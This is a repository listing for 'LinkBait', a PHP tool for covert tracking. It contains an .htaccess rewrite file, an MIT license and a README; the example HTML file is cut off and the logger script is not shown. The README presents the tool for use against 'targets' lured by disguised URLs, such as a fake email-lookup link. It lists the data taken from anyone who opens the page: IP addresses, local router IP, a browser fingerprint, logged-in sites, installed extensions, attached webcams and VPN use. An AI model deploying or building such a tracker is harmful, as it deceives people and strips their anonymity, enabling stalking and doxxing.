├── .htaccess ├── LICENSE ├── README.md ├── output └── example.html └── logger.php /.htaccess: -------------------------------------------------------------------------------- 1 | Options +SymLinksIfOwnerMatch 2 | RewriteEngine On 3 | RewriteCond %{REQUEST_FILENAME} !-f 4 | RewriteCond %{REQUEST_FILENAME} !-d 5 | RewriteRule . /logger.php [L] 6 | 7 | DirectoryIndex /logger.php 8 | RewriteRule ^output/ /logger.php [R=301,NC,L] -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Jesse 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LinkBait 2 | 3 | Linkbait is a PHP file used to store browser and connection information on anyone who loads the webpage. 4 | 5 | ## Installation 6 | 7 | Copy the PHP file into a web-accessable directory on your Apache web server. Most shared hosts use PHP, so that should not be an issue. 8 | 9 | 10 | ## Usage 11 | When someone loads the PHP file, it will create a session cookie and link it to a file containing their IP address and User-Agent and send them the HTML/Javascript that the logger uses to grab the browser fingerprint. Once the javascript is done executing it will send a request back to the server with all of the collected data which then gets added to the log file. If the user opens the page again, it will gather all the data again and add it to the **same** log file as a way to keep each targets data together. 12 | 13 | It is recommended that you use the included .htaccess file to redirect any requests to non-existing files to logger.php, and to prevent anyone from accessing your output/ directory from the web. 14 | 15 | When sending a URL to the target (if using the included .htaccess file, or an equivalent one) you can send a customized url such as 16 | ``` 17 | https://mydomain.com/random/check2-email-jesse 18 | ``` 19 | or 20 | ``` 21 | https://mydomain.com/emailwhois?email=jesse@notarealemail.com&name=jesse 22 | ``` 23 | 24 | 25 | The included example.html file can be moved outside of the output/ directory to allow you to test the service without sending any information to your server. 26 | 27 | 28 | The script collects the following information 29 | 30 | - Touch Information 31 | - Router IP Address 32 | - Installed GPU 33 | - Browser Version/Platform 34 | - Screen height/width 35 | - If the user has any webcam or mic plugged in 36 | - The users IPV6 address (if available) 37 | - If the user has discord running 38 | - Installed browser fonts 39 | - It checks a select few sites to see if the user is logged in 40 | - It checks if a select few extensions are installed (Chrome Only) 41 | - System Time 42 | - System Language 43 | - TCP connection information (If they're using a VPN, and their operating system 44 | - IPV4 address (php file only, not in example.html) 45 | - User Agent (php file only, not in example.html) 46 | 47 | 48 | ## Contributing 49 | Pull requests are welcome. For major changes or any features you would like to see, please open an issue first to discuss what you would like to see changed. 50 | 51 | ## License 52 | [MIT](https://choosealicense.com/licenses/mit/) 53 | -------------------------------------------------------------------------------- /output/example.html: -------------------------------------------------------------------------------- 1 |